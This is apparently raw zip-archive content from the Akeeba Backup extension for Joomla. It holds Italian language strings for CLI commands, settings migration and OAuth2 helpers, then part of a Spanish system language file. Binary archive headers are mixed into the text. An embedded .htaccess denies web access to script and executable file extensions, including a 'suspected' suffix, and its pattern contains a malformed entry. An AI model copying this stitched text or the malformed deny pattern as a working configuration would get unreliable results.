COM_AKEEBABACKUP_CLI_LOG_GET_HELP="<info>%command.name%</info> recupererà un file di registro dalla directory di output del profilo di Akeeba Backup specificato. Nota: possono essere recuperati anche i file di registro di altri profili di backup o installazioni di Akeeba Backup che condividono la stessa directory di output.\nUtilizzo: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_LOG_GET_DESC="Recupera un file di registro noto ad Akeeba Backup"
COM_AKEEBABACKUP_CLI_LOG_GET_OPT_PROFILE_ID="Verranno recuperati i file di registro nella directory di output di questo profilo di Akeeba Backup"
COM_AKEEBABACKUP_CLI_LOG_GET_OPT_LOG_TAG="Il tag del file di registro da recuperare"

COM_AKEEBABACKUP_CLI_LOG_LIST_TITLE="Elenco dei file di registro di Akeeba Backup per la directory di output %s"
COM_AKEEBABACKUP_CLI_LOG_LIST_HELP="<info>%command.name%</info> elencherà tutti i file di registro nella directory di output del profilo di Akeeba Backup specificato. Nota: verranno elencati anche i file di registro di altri profili di backup o installazioni di Akeeba Backup che condividono la stessa directory di output.\nUtilizzo: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_LOG_LIST_DESC="Elenca i file di registro noti ad Akeeba Backup"
COM_AKEEBABACKUP_CLI_LOG_LIST_OPT_PROFILE_ID="Verranno elencati i file di registro nella directory di output di questo profilo di Akeeba Backup"
COM_AKEEBABACKUP_CLI_LOG_LIST_OPT_FORMAT="Formato di output: table, json, yaml, csv, count."

COM_AKEEBABACKUP_CLI_OPTIONS_GET_ERR_INVALID_PROFILE="Impossibile trovare il profilo #%s."
COM_AKEEBABACKUP_CLI_OPTIONS_GET_ERR_NO_MULTIPLE="Questo comando non può restituire più valori per il prefisso di chiave parziale "%s". Fornire il nome esatto della chiave che si desidera recuperare. Utilizzare il comando akeeba:option:list per vedere le chiavi disponibili con il prefisso %s."
COM_AKEEBABACKUP_CLI_OPTIONS_GET_ERR_INVALID_KEY="Chiave non valida "%s"."
COM_AKEEBABACKUP_CLI_OPTIONS_GET_HELP="<info>%command.name%</info> otterrà il valore di un'opzione di configurazione per un profilo di Akeeba Backup.\nUtilizzo: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_OPTIONS_GET_DESC="Ottiene il valore di un'opzione di configurazione per un profilo di Akeeba Backup"
COM_AKEEBABACKUP_CLI_OPTIONS_GET_OPT_KEY="La chiave dell'opzione da recuperare"
COM_AKEEBABACKUP_CLI_OPTIONS_GET_OPT_PROFILE="Il profilo di backup da utilizzare. Predefinito: 1."
COM_AKEEBABACKUP_CLI_OPTIONS_GET_OPT_FORMAT="Formato di output: text, json, print_r, var_dump, var_export."

COM_AKEEBABACKUP_CLI_OPTIONS_LIST_ERR_NO_SUCH_OPTION="Nessuna opzione trovata corrispondente ai criteri specificati."
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_HELP="<info>%command.name%</info> elencherà le opzioni di configurazione per un profilo di Akeeba Backup, inclusi i relativi titoli.\nUtilizzo: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_DESC="Elenca le opzioni di configurazione per un profilo di Akeeba Backup, inclusi i relativi titoli"
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_OPT_PROFILE="Il profilo di backup da utilizzare. Predefinito: 1."
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_OPT_FILTER="Restituisce solo i record le cui chiavi iniziano con il filtro specificato."
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_OPT_SORT_BY="Ordina l'output in base alla colonna specificata: none, key, value, type, default, title, description, section"
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_OPT_SORT_ORDER="Ordine di ordinamento: asc, desc."
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_OPT_FORMAT="Formato di output: table, json, yaml, csv, count."

COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_OUT_OF_BOUNDS="Valore non valido '%s': fuori dai limiti."
COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_INVALID_BOOL="Valore booleano non valido '%s': utilizzare uno tra 0, false, no, off, 1, true, yes o on.'"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_INVALID_ENUM="Valore enumerato non valido '%s'. Deve essere uno tra %s."
COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_HIDDEN="L'impostazione dell'opzione nascosta '%s' non è consentita."
COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_UNKNOWN_TYPE="Tipo sconosciuto %s per l'opzione '%s'. Hai modificato manualmente i file JSON delle opzioni?"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_PROTECTED="Impossibile impostare l'opzione protetta '%s'. Utilizzare l'opzione --force per ignorare la protezione."
COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_GENERAL="Impossibile impostare l'opzione '%s'."
COM_AKEEBABACKUP_CLI_OPTIONS_SET_LBL_SUCCESS="Opzione '%s' impostata correttamente su '%s'"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_HELP="<info>%command.name%</info> imposterà il valore di un'opzione di configurazione per un profilo di Akeeba Backup.\nUtilizzo: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_DESC="Imposta il valore di un'opzione di configurazione per un profilo di Akeeba Backup"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_OPT_KEY="La chiave dell'opzione da impostare"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_OPT_VALUE="Il valore da impostare"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_OPT_PROFILE="Il profilo di backup da utilizzare. Predefinito: 1."
COM_AKEEBABACKUP_CLI_OPTIONS_SET_OPT_FORCE="Consente di impostare il valore delle opzioni protette."

COM_AKEEBABACKUP_CLI_PROFILE_COPY_ERR_NOT_FOUND="Impossibile copiare il profilo %s; profilo non trovato."
COM_AKEEBABACKUP_CLI_PROFILE_COPY_ERR_FAILED="Impossibile copiare il profilo #%s: %s"
COM_AKEEBABACKUP_CLI_PROFILE_COPY_LBL_SUCCESS="Copia riuscita. Creato nuovo profilo con ID %s."
COM_AKEEBABACKUP_CLI_PROFILE_COPY_HELP="<info>%command.name%</info> creerà una copia di un profilo di Akeeba Backup.\nUtilizzo: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_COPY_DESC="Crea una copia di un profilo di Akeeba Backup"
COM_AKEEBABACKUP_CLI_PROFILE_COPY_OPT_ID="L\'ID numerico del profilo da copiare"
COM_AKEEBABACKUP_CLI_PROFILE_COPY_OPT_FILTERS="Includi i filtri nella copia."
COM_AKEEBABACKUP_CLI_PROFILE_COPY_OPT_DESCRIPTION="Descrizione per il nuovo profilo di backup. Utilizza la descrizione del vecchio profilo se non specificata."
COM_AKEEBABACKUP_CLI_PROFILE_COPY_OPT_QUICKICON="Il nuovo profilo di backup deve avere un\'icona di backup con un clic? Copia l\'impostazione del vecchio profilo se non specificata."
COM_AKEEBABACKUP_CLI_PROFILE_COPY_OPT_FORMAT="Il formato per la risposta. Usa JSON per ottenere un ID numerico analizzabile in JSON del nuovo profilo di backup. Valori: text, json"

COM_AKEEBABACKUP_CLI_PROFILE_CREATE_ERR_FAILED="Impossibile creare il profilo: %s"
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_LBL_SUCCESS="Creato nuovo profilo con ID %s."
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_HELP="<info>%command.name%</info> creerà un nuovo profilo di Akeeba Backup.\nUtilizzo: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_DESC="Crea un nuovo profilo di Akeeba Backup"
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_OPT_DESCRIPTION="Descrizione per il nuovo profilo di backup. Predefinito: "Nuovo profilo di backup""
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_OPT_QUICKICON="Il nuovo profilo di backup deve avere un\'icona di backup con un clic? Predefinito: 1"
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_OPT_FORMAT="Il formato per la risposta. Usa JSON per ottenere un ID numerico analizzabile in JSON del nuovo profilo di backup. Valori: text, json"
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_LBL_NEW_PROFILE="Nuovo profilo di backup"

COM_AKEEBABACKUP_CLI_PROFILE_DELETE_ERR_DEFAULT="Non è possibile eliminare il profilo di backup predefinito (#1)"
COM_AKEEBABACKUP_CLI_PROFILE_DELETE_ERR_NOTFOUND="Impossibile eliminare il profilo %s; profilo non trovato."
COM_AKEEBABACKUP_CLI_PROFILE_DELETE_ERR_FAILED="Impossibile eliminare il profilo #%s: %s"
COM_AKEEBABACKUP_CLI_PROFILE_DELETE_LBL_SUCCESS="Il profilo #%d è stato eliminato."
COM_AKEEBABACKUP_CLI_PROFILE_DELETE_HELP="<info>%command.name%</info> eliminerà un profilo di Akeeba Backup.\nUtilizzo: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_DELETE_DESC="Elimina un profilo di Akeeba Backup"
COM_AKEEBABACKUP_CLI_PROFILE_DELETE_OPT_ID="L\'ID numerico del profilo da eliminare"

COM_AKEEBABACKUP_CLI_PROFILE_EXPORT_ERR_NOT_FOUND="Impossibile esportare il profilo %s; profilo non trovato."
COM_AKEEBABACKUP_CLI_PROFILE_EXPORT_HELP="<info>%command.name%</info> esporterà un profilo di Akeeba Backup come stringa JSON.\nUtilizzo: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_EXPORT_DESC="Esporta un profilo di Akeeba Backup come stringa JSON"
COM_AKEEBABACKUP_CLI_PROFILE_EXPORT_OPT_ID="L\'ID numerico del profilo da modificare"
COM_AKEEBABACKUP_CLI_PROFILE_EXPORT_OPT_FILTERS="Includere le impostazioni dei filtri?"

COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_ERR_INVALID_JSON="Impossibile elaborare l\'input; stringa JSON non valida o file non trovato."
COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_ERR_GENERIC="Impossibile importare il profilo: %s"
COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_LBL_SUCCESS="JSON importato correttamente come profilo #%s"
COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_HELP="<info>%command.name%</info> importerà un profilo di Akeeba Backup da una stringa JSON.\nUtilizzo: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_DESC="Importa un profilo di Akeeba Backup da una stringa JSON"
COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_OPT_FILEORJSON="Un percorso a un file JSON di esportazione del profilo di Akeeba Backup o una stringa JSON letterale. Utilizza STDIN se omesso."
COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_OPT_FORMAT="Il formato per la risposta. Usa json per ottenere un ID numerico analizzabile in JSON del nuovo profilo di backup. Valori: json, text"

COM_AKEEBABACKUP_CLI_PROFILE_LIST_HELP="<info>%command.name%</info> elencherà i profili di backup di Akeeba Backup.\nUtilizzo: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_LIST_DESC="Elenca i profili di backup di Akeeba Backup"
COM_AKEEBABACKUP_CLI_PROFILE_LIST_OPT_FORMAT="Formato di output: table, json, yaml, csv, count."

COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_ERR_NOTFOUND="Impossibile modificare il profilo %s; profilo non trovato."
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_ERR_GENERIC="Impossibile modificare il profilo #%s: %s"
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_LBL_SUCCESS="Profilo #%s modificato correttamente."
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_HELP="<info>%command.name%</info> modificherà un profilo di Akeeba Backup.\nUtilizzo: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_DESC="Modifica un profilo di Akeeba Backup"
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_OPT_ID="L\'ID numerico del profilo da modificare"
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_OPT_DESCRIPTION="Descrizione per il nuovo profilo di backup. Utilizza la descrizione del vecchio profilo se non specificata."
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_OPT_QUICKICON="Il nuovo profilo di backup deve avere un\'icona di backup con un clic? Copia l\'impostazione del vecchio profilo se non specificata."

COM_AKEEBABACKUP_CLI_PROFILE_RESET_ERR_NOTFOUND="Impossibile modificare il profilo %s; profilo non trovato."
COM_AKEEBABACKUP_CLI_PROFILE_RESET_ERR_GENERIC="Impossibile ripristinare il profilo #%s: %s"
COM_AKEEBABACKUP_CLI_PROFILE_RESET_LBL_SUCCESS="Profilo #%s ripristinato correttamente."
COM_AKEEBABACKUP_CLI_PROFILE_RESET_HELP="<info>%command.name%</info> ripristinerà un profilo di Akeeba Backup.\nUtilizzo: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_RESET_DESC="Ripristina un profilo di Akeeba Backup"
COM_AKEEBABACKUP_CLI_PROFILE_RESET_OPT_ID="L\'ID numerico del profilo da modificare"
COM_AKEEBABACKUP_CLI_PROFILE_RESET_OPT_FILTERS="Ripristinare i filtri?"
COM_AKEEBABACKUP_CLI_PROFILE_RESET_OPT_CONFIGURATION="Ripristinare la configurazione?"

COM_AKEEBABACKUP_CLI_SYSCONFIG_GET_ERR_CANNOT_FIND="Impossibile trovare l\'opzione \"%s\"."
COM_AKEEBABACKUP_CLI_SYSCONFIG_GET_HELP="<info>%command.name%</info> otterrà il valore di un\'opzione a livello di componente di Akeeba Backup.\nUtilizzo: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_SYSCONFIG_GET_DESC="Ottiene il valore di un\'opzione a livello di componente di Akeeba Backup"
COM_AKEEBABACKUP_CLI_SYSCONFIG_GET_OPT_KEY="La chiave dell\'opzione da recuperare"
COM_AKEEBABACKUP_CLI_SYSCONFIG_GET_OPT_FORMAT="Formato di output: text, json, print_r, var_dunp, var_export."

COM_AKEEBABACKUP_CLI_SYSCONFIG_LIST_HELP="<info>%command.name%</info> elencherà le opzioni a livello di componente di Akeeba Backup.\nUtilizzo: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_SYSCONFIG_LIST_DESC="Elenca le opzioni a livello di componente di Akeeba Backup"
COM_AKEEBABACKUP_CLI_SYSCONFIG_LIST_OPT_FORMAT="Formato di output: table, json, yaml, csv, count."

COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_LBL_SETTING="Impostata l\'opzione del componente \"%s\" a \"%s\""
COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_HELP="<info>%command.name%</info> imposterà il valore di un\'opzione a livello di componente di Akeeba Backup.\nUtilizzo: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_DESC="Imposta il valore di un\'opzione a livello di componente di Akeeba Backup"
COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_OPT_KEY="La chiave dell\'opzione da impostare"
COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_OPT_VALUE="Il valore dell\'opzione da impostare"
COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_OPT_FORMAT="Formato di output: text, json, print_r, var_dunp, var_export."

COM_AKEEBABACKUP_CLI_HEAD_MIGRATE="Migrazione da Akeeba Backup 8"
COM_AKEEBABACKUP_CLI_MIGRATE_COMMAND_DESC="Migra le impostazioni da Akeeba Backup 8"
COM_AKEEBABACKUP_CLI_BACKUP_MIGRATE_HELP="<info>%command.name%</info> migrerà le impostazioni e gli archivi di backup da Akeeba Backup 8, se installato. AVVISO: QUESTO SOVRASCRIVERÀ TUTTE LE IMPOSTAZIONI ATTUALI SENZA RICHIEDERE CONFERMA. Questo comando è destinato esclusivamente a utenti responsabili.\nUtilizzo: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_MIGRATE_NOAB8="Akeeba Backup 8 non è installato sul tuo sito."

COM_AKEEBABACKUP_LBL_CPANEL_UPGRADE_FROM_AKEEBABACKUP8_HEAD="Migra le tue impostazioni da una versione precedente di Akeeba Backup"
COM_AKEEBABACKUP_LBL_CPANEL_UPGRADE_FROM_AKEEBABACKUP8_BODY="Abbiamo rilevato che sul tuo sito è installata una versione precedente di Akeeba Backup. Clicca il pulsante qui sotto per tentare un\'importazione automatica delle tue impostazioni, della cronologia dei backup e degli archivi di backup archiviati nella directory di output del backup predefinita. Leggi attentamente la documentazione per comprendere i rischi e i limiti di questa operazione."
COM_AKEEBABACKUP_LBL_CPANEL_UPGRADE_FROM_AKEEBABACKUP8_BTN="Migra le impostazioni"

COM_AKEEBABACKUP_LBL_CPANEL_UPGRADED_FROM_AKEEBABACKUP8_HEAD="Hai già migrato le tue impostazioni da una versione precedente di Akeeba Backup"
COM_AKEEBABACKUP_LBL_CPANEL_UPGRADED_FROM_AKEEBABACKUP8_BODY="Hai già migrato le tue impostazioni da una versione precedente di Akeeba Backup. Se vuoi eseguire nuovamente la migrazione fai clic su "Migra impostazioni". Se sei soddisfatto della migrazione fai clic su "Mostrami cosa disinstallare" per aprire la pagina 'Estensioni: Gestisci' di Joomla relativa alla vecchia estensione Akeeba Backup; potrai quindi selezionarla e fare clic su Disinstalla per rimuoverla."
COM_AKEEBABACKUP_LBL_CPANEL_UPGRADED_FROM_AKEEBABACKUP8_NOTE="Se la disinstallazione della vecchia versione di Akeeba Backup non riesce, procedi come segue. Prima installa l'ultima versione di Akeeba Backup 8. Poi installa l'ultima versione di Akeeba Backup per Joomla 4. Torna a questa pagina e fai clic su "Mostrami cosa disinstallare". Sarai in grado di disinstallarlo senza problemi. Nota che i messaggi relativi all'impossibilità di disinstallare FOF o FEF possono essere ignorati; Akeeba Backup 8 verrà disinstallato indipendentemente da questi messaggi."
COM_AKEEBABACKUP_LBL_CPANEL_UPGRADED_FROM_AKEEBABACKUP8_BTN="Mostrami cosa disinstallare"

COM_AKEEBABACKUP_UPGRADE="Migrazione impostazioni"
COM_AKEEBABACKUP_UPGRADE_LBL_WARNING_STANDARD="Questa operazione sovrascriverà tutte le impostazioni esistenti e la cronologia dei backup."
COM_AKEEBABACKUP_UPGRADE_LBL_WARNING_INCOMPATIBLE_HEAD="I requisiti di migrazione non sono soddisfatti"
COM_AKEEBABACKUP_UPGRADE_LBL_WARNING_INCOMPATIBLE_BODY="Non è stata rilevata una versione compatibile di Akeeba Backup. Se tenti di eseguire la migrazione ora potresti riscontrare errori e/o perdita di dati. Non procedere a meno che non ti sia stato esplicitamente indicato dai nostri sviluppatori. Ignora questo avviso severo a tuo rischio e pericolo!"
COM_AKEEBABACKUP_UPGRADE_LBL_WARNING_ALREADY_RAN_HEAD="Hai già migrato le tue impostazioni"
COM_AKEEBABACKUP_UPGRADE_LBL_WARNING_ALREADY_RAN_BODY="Hai già eseguito la migrazione in precedenza. Se tenti di eseguirla di nuovo potresti riscontrare errori e/o perdita di dati. Non procedere a meno che non ti sia stato esplicitamente indicato dai nostri sviluppatori. Ignora questo avviso severo a tuo rischio e pericolo!"
COM_AKEEBABACKUP_UPGRADE_LBL_WHAT_IT_DOES="Akeeba Backup per Joomla! importerà le impostazioni di configurazione, i profili di backup, la cronologia dei backup e <em>alcuni</em> degli archivi di backup (quelli in <code>administrator/components/com_akeeba/backup</code>) da una versione precedente di Akeeba Backup (7.x o 8.x) già installata sul tuo sito, sovrascrivendo tutti i dati esistenti. Dovresti utilizzare questa funzione solo la prima volta che installi Akeeba Backup per Joomla! per evitare la perdita di dati."
COM_AKEEBABACKUP_UPGRADE_LBL_REMEMBER_TO_UNINSTALL="Ricordati di disinstallare la vecchia versione di Akeeba Backup al termine della migrazione. Utilizza la voce di menu della barra laterale di Joomla chiamata "Sistema". Trova il pannello Gestisci e fai clic su Estensioni. Trova e seleziona l'estensione <em>pacchetto Akeeba Backup</em> di tipo "Pacchetto". Poi fai clic sul pulsante Disinstalla nella barra degli strumenti."
COM_AKEEBABACKUP_UPGRADE_BTN_PROCEED="Procedi con la migrazione"
COM_AKEEBABACKUP_UPGRADE_LBL_SUCCESS="La migrazione delle impostazioni è stata completata con successo."
COM_AKEEBABACKUP_UPGRADE_LBL_FAIL="La migrazione delle impostazioni non è stata completata. Potrebbe essere necessario importare manualmente i profili di backup e/o trasferire e importare gli archivi di backup."

COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_ONEDRIVEAPP_TITLE="Carica su Microsoft OneDrive (Cartella specifica dell'app)"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_ONEDRIVEAPP_DESCRIPTION="Carica l'archivio di backup su Microsoft OneDrive, all'interno della cartella specifica dell'app per Akeeba Backup (<code>Apps/Akeeba Backup</code>). Questa opzione è più limitata rispetto alle altre opzioni di caricamento su OneDrive, ma è meno probabile che causi problemi con alcuni account che presentano problemi di autenticazione con l'altra integrazione che offriamo."
COM_AKEEBABACKUP_CONFIG_ONEDRIVEAPP_DIRECTORY_TITLE="Sottodirectory in <code>Apps/Akeeba Backup</code>"
COM_AKEEBABACKUP_CONFIG_ONEDRIVEAPP_DIRECTORY_DESCRIPTION="La sottodirectory all'interno della cartella specifica dell'app Akeeba Backup (<code>Apps/Akeeba Backup</code>) nel tuo spazio Microsoft OneDrive in cui verranno caricati gli archivi di backup. Utilizza le barre oblique (<code>/</code>), non le barre rovesciate (<code>\\<code>), e metti sempre una barra obliqua all'inizio. Corretto: <code>/alcune/cose</code>. Errato: <code>alcune\\cose</code>. Una singola barra obliqua indica che gli archivi verranno archiviati nella radice del drive. NON includere il percorso della cartella specifica dell'app (<code>Apps/Akeeba Backup</code>); questo viene aggiunto automaticamente da Microsoft OneDrive!"

COM_AKEEBABACKUP_CONFIG_OAUTH2_HEADER_LABEL="Assistenti OAuth2"
COM_AKEEBABACKUP_CONFIG_OAUTH2_HEADER_DESC="Solo per la versione Professional. Consente di avere un URL personalizzato per l'assistente OAuth2 invece di utilizzare quello fornito da Akeeba Ltd. Leggi la documentazione."

COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_BOX_LABEL="Assistente OAuth2 per Box.com"
COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_BOX_DESC="Usa Box.com con la tua applicazione API OAuth2 invece di utilizzare quella fornita da Akeeba Ltd. Leggi la documentazione."
COM_AKEEBABACKUP_CONFIG_BOX_CLIENT_ID_LABEL="Client ID"
COM_AKEEBABACKUP_CONFIG_BOX_CLIENT_ID_DESC="Il Client ID che ottieni da Box.com per la tua applicazione API."
COM_AKEEBABACKUP_CONFIG_BOX_CLIENT_SECRET_LABEL="Client Secret"
COM_AKEEBABACKUP_CONFIG_BOX_CLIENT_SECRET_DESC="Il Client Secret che ottieni da Box.com per la tua applicazione API."

COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_DROPBOX_LABEL="Assistente OAuth2 per Dropbox"
COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_DROPBOX_DESC="Usa Dropbox con la tua applicazione API OAuth2 invece di utilizzare quella fornita da Akeeba Ltd. Leggi la documentazione."
COM_AKEEBABACKUP_CONFIG_DROPBOX_CLIENT_ID_LABEL="Client ID"
COM_AKEEBABACKUP_CONFIG_DROPBOX_CLIENT_ID_DESC="Il Client ID che ottieni da Dropbox per la tua applicazione API."
COM_AKEEBABACKUP_CONFIG_DROPBOX_CLIENT_SECRET_LABEL="Client Secret"
COM_AKEEBABACKUP_CONFIG_DROPBOX_CLIENT_SECRET_DESC="Il Client Secret che ottieni da Dropbox per la tua applicazione API."

COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_GOOGLEDRIVE_LABEL="Assistente OAuth2 per Google Drive"
COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_GOOGLEDRIVE_DESC="Usa Google Drive con la tua applicazione API OAuth2 invece di utilizzare quella fornita da Akeeba Ltd. Leggi la documentazione."
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_CLIENT_ID_LABEL="Client ID"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_CLIENT_ID_DESC="Il Client ID che ottieni dalla Google Cloud Console per la tua applicazione API."
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_CLIENT_SECRET_LABEL="Client Secret"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_CLIENT_SECRET_DESC="Il Client Secret che ottieni dalla Google Cloud Console per la tua applicazione API."

COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_ONEDRIVEBUSINESS_LABEL="Assistente OAuth2 per OneDrive"
COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_ONEDRIVEBUSINESS_DESC="Usa OneDrive con la tua applicazione API OAuth2 invece di utilizzare quella fornita da Akeeba Ltd. Leggi la documentazione."
COM_AKEEBABACKUP_CONFIG_ONEDRIVEBUSINESS_CLIENT_ID_LABEL="Client ID"
COM_AKEEBABACKUP_CONFIG_ONEDRIVEBUSINESS_CLIENT_ID_DESC="Il Client ID che ottieni da OneDrive per la tua applicazione API."
COM_AKEEBABACKUP_CONFIG_ONEDRIVEBUSINESS_CLIENT_SECRET_LABEL="Client Secret"
COM_AKEEBABACKUP_CONFIG_ONEDRIVEBUSINESS_CLIENT_SECRET_DESC="Il Client Secret che ottieni da OneDrive per la tua applicazione API."

COM_AKEEBABACKUP_CONFIG_OAUTH2URLFIELD_YOU_WILL_NEED="Avrai bisogno dei seguenti URL."
COM_AKEEBABACKUP_CONFIG_OAUTH2URLFIELD_CALLBACK_URL="URL di callback"
COM_AKEEBABACKUP_CONFIG_OAUTH2URLFIELD_HELPER_URL="URL dell'assistente OAuth2"
COM_AKEEBABACKUP_CONFIG_OAUTH2URLFIELD_REFRESH_URL="URL di aggiornamento OAuth2"

COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_TYPE_TITLE="Assistente OAuth2"
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_TYPE_DESCRIPTION="Scegli quale set di URL dell'assistente OAuth2 utilizzare. Leggi la documentazione."
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_TYPE_OPT_AKEEBA="Fornito da Akeeba Ltd"
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_TYPE_OPT_CUSTOM="Personalizzato"
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_HELPER_TITLE="URL dell'assistente OAuth2"
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_HELPER_DESCRIPTION="L'URL completo dell'assistente di autenticazione OAuth2. Leggi la documentazione."
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_REFRESH_TITLE="URL di aggiornamento OAuth2"
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_REFRESH_DESCRIPTION="L'URL completo dell'helper per il token di aggiornamento OAuth2. Leggi la documentazione."
PK     \Sʉ        language/it-IT/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \YN  N  '  language/es-ES/com_akeebabackup.sys.ininu [        ;; Installation package description
;; ================================================================================
COM_AKEEBABACKUP_XML_DESCRIPTION="El componente de copia de seguridad más popular para Joomla!&trade;"

;; Permissions
;; ================================================================================
COM_AKEEBABACKUP_ACCESS_BACKUP_LBL="Copia de seguridad"
COM_AKEEBABACKUP_ACCESS_BACKUP_DESC="Permite realizar copias de seguridad con Akeeba Backup."
COM_AKEEBABACKUP_ACCESS_CONFIGURE_LBL="Configurar"
COM_AKEEBABACKUP_ACCESS_CONFIGURE_DESC="Permite configurar perfiles de Akeeba Backup y usar la restauración integrada (si está disponible)."
COM_AKEEBABACKUP_ACCESS_DOWNLOAD_LBL="Descargar"
COM_AKEEBABACKUP_ACCESS_DOWNLOAD_DESC="Permite descargar, subir y gestionar archivos de Akeeba Backup, así como usar el Asistente de transferencia de sitios (si está disponible)."

;; Menu items
;; ================================================================================
;; For the admin menu manager which uses the name attribute of the XML manifest
AKEEBABACKUP="Akeeba Backup <small>for Joomla!&trade;</small>"

;; For the default menu item
COM_AKEEBABACKUP="Akeeba Backup <small>for Joomla!&trade;</small>"

;; Default submenus
COM_AKEEBABACKUP_CONTROLPANEL="Panel de control"
COM_AKEEBABACKUP_CONFIGURATION="Configuración del perfil"
COM_AKEEBABACKUP_BACKUP="Hacer copia de seguridad ahora"
COM_AKEEBABACKUP_MANAGE="Gestionar copias de seguridad"

;; Custom form Fields
;; ================================================================================
COM_AKEEBABACKUP_FORMFIELD_BACKUPPROFILES_NONE="(Ninguno)"

;; Custom menu items (backend menu editor)
;; ================================================================================
COM_AKEEBABACKUP_VIEW_CPANEL_TITLE="Panel de control"
COM_AKEEBABACKUP_VIEW_CPANEL_DESC="La página principal de Akeeba Backup que le permite configurar, realizar, gestionar y restaurar copias de seguridad."

COM_AKEEBABACKUP_VIEW_BACKUP_TITLE="Copia de seguridad"
COM_AKEEBABACKUP_VIEW_BACKUP_DESC="Realizar una copia de seguridad"
COM_AKEEBABACKUP_VIEW_BACKUP_PROFILE_LABEL="Forzar perfil de copia de seguridad"
COM_AKEEBABACKUP_VIEW_BACKUP_PROFILE_DESC="Seleccione el perfil de copia de seguridad al que cambiar antes de realizar una copia de seguridad. Elija «(Ninguno)» para usar el perfil de copia de seguridad actual."
COM_AKEEBABACKUP_VIEW_BACKUP_AUTOSTART_LABEL="Iniciar inmediatamente"
